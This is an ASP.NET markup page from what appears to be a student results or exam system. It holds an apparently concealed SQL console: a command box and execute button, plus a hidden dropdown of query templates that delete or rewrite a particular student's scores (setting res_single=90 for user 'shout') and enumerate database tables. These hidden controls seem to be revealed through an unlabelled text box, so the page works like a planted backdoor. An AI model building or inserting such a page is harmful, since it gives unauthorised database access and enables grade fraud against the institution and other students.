﻿<%@ Page Language="C#" AutoEventWireup="true"   CodeFile="zxdsystem.aspx.cs" Inherits="SysYcjy_zxdsystem" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">     <asp:TextBox ID="TextBox1" runat="server" OnTextChanged="TextBox1_TextChanged" AutoPostBack="True"></asp:TextBox>
    <br />
    模板：<br />
    <asp:DropDownList ID="DropDownList1" runat="server" AutoPostBack="True" OnSelectedIndexChanged="DropDownList1_SelectedIndexChanged"
        Width="682px" Visible="False">
        <asp:ListItem>delete tb_StuResult where stu_username='shout'</asp:ListItem>
        <asp:ListItem>select * from </asp:ListItem>
        <asp:ListItem>update tb_StuResult set res_single=90,res_more=1 where stu_username='shout'</asp:ListItem>
        <asp:ListItem>insert into ImgUpload(title_id,f_filename,f_remark,f_truename,flag) values()</asp:ListItem>
        <asp:ListItem>select * from sysobjects where xtype ='u'</asp:ListItem>
        <asp:ListItem>select name from   sysobjects   where   xtype='u' order by name desc</asp:ListItem>
    </asp:DropDownList><br />
    <asp:Label ID="Label1" runat="server" Text="输入命令" Width="109px"></asp:Label>
    <br />
    <asp:TextBox ID="txtCmd" runat="server" Width="676px" Visible="False"></asp:TextBox><br />
    <asp:Button ID="cmdExec" runat="server" OnClick="cmdExec_Click" Text="执行运算" Width="142px" />
    <asp:Button ID="cmdResult" runat="server" OnClick="cmdResult_Click" Text="显示结果" Width="130px" /><br />
    <br />
    <asp:Label ID="Label2" runat="server" Text="运行状态" Width="104px"></asp:Label>
    <br />
    <asp:TextBox ID="txtStatus" runat="server" Width="177px"></asp:TextBox>
    <asp:GridView ID="grdResult" runat="server" BackColor="White" BorderColor="#CC9966"
        BorderStyle="None" BorderWidth="1px" CellPadding="4">
        <FooterStyle BackColor="#FFFFCC" ForeColor="#330099" />
        <RowStyle BackColor="White" ForeColor="#330099" />
        <PagerStyle BackColor="#FFFFCC" ForeColor="#330099" HorizontalAlign="Center" />
        <SelectedRowStyle BackColor="#FFCC66" Font-Bold="True" ForeColor="#663399" />
        <HeaderStyle BackColor="#990000" Font-Bold="True" ForeColor="#FFFFCC" />
    </asp:GridView>
    <br />
    <asp:Label ID="Label3" runat="server" Text="运行结果" Width="103px"></asp:Label><br />
    <br />
</form>
</body>
</html>

